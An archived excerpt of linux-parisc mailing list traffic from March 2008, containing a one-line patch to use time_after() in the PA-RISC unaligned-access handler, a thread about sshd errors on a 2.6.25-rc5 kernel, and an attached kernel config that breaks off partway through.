Subject: [PATCH] arch/parisc/kernel/unaligned.c: Use time_* macros
Date: Mon, 17 Mar 2008 11:36:25 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <1205746593-24820-3-git-send-email-caglar@pardus.org.tr>
References: <>
 <1205746593-24820-1-git-send-email-caglar@pardus.org.tr>
 <1205746593-24820-2-git-send-email-caglar@pardus.org.tr>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1205746653 14515 80.91.229.12 (17 Mar 2008 09:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 09:37:33 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 10:38:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbBmx-0000GX-WF
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 10:37:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752998AbYCQJhQ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 05:37:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753090AbYCQJhP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 05:37:15 -0400
Original-Received: from ns2.uludag.org.tr ([193.140.100.220]:42581 "EHLO uludag.org.tr"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752810AbYCQJhO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 05:37:14 -0400
Original-Received: from localhost (unknown [88.240.0.14])
	by uludag.org.tr (Postfix) with ESMTP id C066A62467C0;
	Mon, 17 Mar 2008 11:37:06 +0200 (EET)
X-Mailer: git-send-email 1.5.4.3
In-Reply-To: <1205746593-24820-2-git-send-email-caglar@pardus.org.tr>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:222 gmane.linux.kernel:654609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/222>

The functions time_before, time_before_eq, time_after, and time_after_e=
q are more robust for comparing jiffies against other values.

So following patch implements usage of the time_after() macro, defined =
at linux/jiffies.h, which deals with wrapping correctly

Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: linux-parisc@vger.kernel.org
Cc: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: S.=C3=87a=C4=9Flar Onur <caglar@pardus.org.tr>
---
 arch/parisc/kernel/unaligned.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unalig=
ned.c
index aebf3c1..19b8a79 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -460,7 +460,7 @@ void handle_unaligned(struct pt_regs *regs)
 			goto force_sigbus;
 		}
=20
-		if (unaligned_count > 5 && jiffies - last_time > 5*HZ) {
+		if (unaligned_count > 5 && time_after(jiffies, last_time + 5 * HZ)) =
{
 			unaligned_count =3D 0;
 			last_time =3D jiffies;
 		}
--=20
1.5.4.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Mon, 17 Mar 2008 10:38:58 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20080317143859.589684E7B@hiauly1.hia.nrc.ca>
References: <20080316192152.GB3904@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205764752 16368 80.91.229.12 (17 Mar 2008 14:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 14:39:12 +0000 (UTC)
Cc: carlos@systemhalted.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 15:39:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbGV1-000334-N1
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 15:39:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751935AbYCQOjE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 10:39:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752765AbYCQOjE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 10:39:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3888 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751935AbYCQOjD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 10:39:03 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 589684E7B; Mon, 17 Mar 2008 10:38:58 -0400 (EDT)
In-Reply-To: <20080316192152.GB3904@phobos.i.cabal.ca> from "Kyle McMartin" at Mar 16, 2008 03:21:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/223>

> On Sun, Mar 16, 2008 at 02:22:20PM -0400, Carlos O'Donell wrote:
> > On Sun, Mar 16, 2008 at 1:35 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > > The following changes since commit cdeeeae056a429e729ae9e914fa8142ee45bee93:
> > >   Linus Torvalds (1):
> > >         Linux 2.6.25-rc5
> > 
> > Thanks!
> > 
> > What hardware is this known to boot on? I want to update my base
> > kernel for userspace testing, currently 2.6.20.
> > 
> 
> no idea. it booted on my rp3440 and c8k

It also boots on my c3750 (32-bit kernel).  However, sshd still is doing
wierd stuff.  Here's another example.

Mar 17 10:28:11 xxxxxx sshd[22586]: fatal: Privilege separation user sshd does not exist

This security bug leaves the system wide open to being compromised, so
I'm not going to use it.  I like 2.6.22.19 + Kyle's compat_sys_getdents
and irq.c patches.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Mon, 17 Mar 2008 10:52:36 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20080317145236.GC3904@phobos.i.cabal.ca>
References: <20080316192152.GB3904@phobos.i.cabal.ca> <20080317143859.589684E7B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205765631 19887 80.91.229.12 (17 Mar 2008 14:53:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 14:53:51 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 15:54:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbGi9-0008Vw-G6
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 15:53:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752854AbYCQOwh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 10:52:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752395AbYCQOwh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 10:52:37 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:56539 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752825AbYCQOwh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 10:52:37 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 5569C178089; Mon, 17 Mar 2008 10:52:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080317143859.589684E7B@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/224>

On Mon, Mar 17, 2008 at 10:38:58AM -0400, John David Anglin wrote:
> > On Sun, Mar 16, 2008 at 02:22:20PM -0400, Carlos O'Donell wrote:
> > > On Sun, Mar 16, 2008 at 1:35 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > > > The following changes since commit cdeeeae056a429e729ae9e914fa8142ee45bee93:
> > > >   Linus Torvalds (1):
> > > >         Linux 2.6.25-rc5
> > > 
> > > Thanks!
> > > 
> > > What hardware is this known to boot on? I want to update my base
> > > kernel for userspace testing, currently 2.6.20.
> > > 
> > 
> > no idea. it booted on my rp3440 and c8k
> 
> It also boots on my c3750 (32-bit kernel).  However, sshd still is doing
> wierd stuff.  Here's another example.
> 
> Mar 17 10:28:11 xxxxxx sshd[22586]: fatal: Privilege separation user sshd does not exist
> 

I don't see this... what is the machine running? I'm concerned maybe one
of the new syscalls is being used in glibc or something.

> This security bug leaves the system wide open to being compromised, so
> I'm not going to use it.  I like 2.6.22.19 + Kyle's compat_sys_getdents
> and irq.c patches.
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Mon, 17 Mar 2008 11:23:24 -0400
Organization: nrc.ca
Lines: 1377
Approved: news@gmane.org
Message-ID: <20080317152323.GA8524@hiauly1.hia.nrc.ca>
References: <20080316192152.GB3904@phobos.i.cabal.ca> <20080317143859.589684E7B@hiauly1.hia.nrc.ca> <20080317145236.GC3904@phobos.i.cabal.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7JfCtLOvnd9MIVvH"
X-Trace: ger.gmane.org 1205767510 32347 80.91.229.12 (17 Mar 2008 15:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 15:25:10 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 16:25:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbHCs-0004BZ-7A
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 16:25:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752256AbYCQPXo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 11:23:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752238AbYCQPXo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 11:23:44 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3893 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752256AbYCQPXl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 11:23:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7FC184E0E; Mon, 17 Mar 2008 11:23:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080317145236.GC3904@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/225>


--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> > It also boots on my c3750 (32-bit kernel).  However, sshd still is doing
> > wierd stuff.  Here's another example.
> > 
> > Mar 17 10:28:11 xxxxxx sshd[22586]: fatal: Privilege separation user sshd does not exist
> > 
> 
> I don't see this... what is the machine running? I'm concerned maybe one
> of the new syscalls is being used in glibc or something.

c3750.  It doesn't happen instantly but I do have a gcc build/check
running.  Attached config.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=config

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.25-rc5
# Sun Mar 16 15:37:29 2008
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_ARCH_SUPPORTS_AOUT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
# CONFIG_POSIX_MQUEUE is not set
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=16
# CONFIG_CGROUPS is not set
CONFIG_GROUP_SCHED=y
CONFIG_FAIR_GROUP_SCHED=y
# CONFIG_RT_GROUP_SCHED is not set
CONFIG_USER_SCHED=y
# CONFIG_CGROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
CONFIG_RELAY=y
# CONFIG_NAMESPACES is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_EMBEDDED=y
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_COMPAT_BRK=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
# CONFIG_MARKERS is not set
CONFIG_OPROFILE=m
CONFIG_HAVE_OPROFILE=y
# CONFIG_HAVE_KPROBES is not set
# CONFIG_HAVE_KRETPROBES is not set
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_BLOCK=y
# CONFIG_LBD is not set
# CONFIG_BLK_DEV_IO_TRACE is not set
# CONFIG_LSF is not set
# CONFIG_BLK_DEV_BSG is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_CLASSIC_RCU=y
# CONFIG_PREEMPT_RCU is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_FLATMEM_ENABLE=y
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
CONFIG_RCU_TRACE=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
# CONFIG_SPARSEMEM_STATIC is not set
# CONFIG_SPARSEMEM_VMEMMAP_ENABLE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_RESOURCES_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set

#
# Networking
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
CONFIG_INET_XFRM_MODE_BEET=y
# CONFIG_INET_LRO is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IP_VS is not set
CONFIG_IPV6=m
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NETFILTER=y
CONFIG_NETFILTER_DEBUG=y
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
# CONFIG_NETFILTER_NETLINK_QUEUE is not set
# CONFIG_NETFILTER_NETLINK_LOG is not set
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_XTABLES is not set

#
# IP: Netfilter Configuration
#
CONFIG_IP_NF_QUEUE=m
# CONFIG_IP_NF_IPTABLES is not set
# CONFIG_IP_NF_ARPTABLES is not set

#
# IPv6: Netfilter Configuration
#
# CONFIG_IP6_NF_QUEUE is not set
# CONFIG_IP6_NF_IPTABLES is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_SCHED is not set

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set

#
# Wireless
#
# CONFIG_CFG80211 is not set
# CONFIG_WIRELESS_EXT is not set
# CONFIG_MAC80211 is not set
# CONFIG_IEEE80211 is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_UMEM=m
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y
CONFIG_IDE_MAX_HWIFS=4
CONFIG_BLK_DEV_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_BLK_DEV_IDEDISK=m
# CONFIG_IDEDISK_MULTI_MODE is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
CONFIG_BLK_DEV_IDESCSI=y
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
CONFIG_IDE_GENERIC=y
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_PCIBUS_ORDER=y
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
CONFIG_BLK_DEV_SIIMAGE=m
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y
CONFIG_IDE_ARCH_OBSOLETE_INIT=y
# CONFIG_BLK_DEV_HD is not set

#
# SCSI device support
#
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
